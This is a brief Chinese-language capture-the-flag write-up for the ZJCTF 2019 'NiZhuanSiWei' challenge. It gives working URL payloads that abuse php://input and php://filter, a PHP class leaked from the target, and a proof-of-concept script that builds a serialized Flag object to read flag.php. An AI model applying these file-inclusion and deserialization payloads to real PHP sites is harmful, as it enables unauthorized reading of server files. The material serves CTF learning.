题目地址：https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei

老题目了

/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

POST内容

welcome to the zjctf

useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

构造POC

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

$a=new Flag();
$a->file='flag.php';
echo serialize($a);
?>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}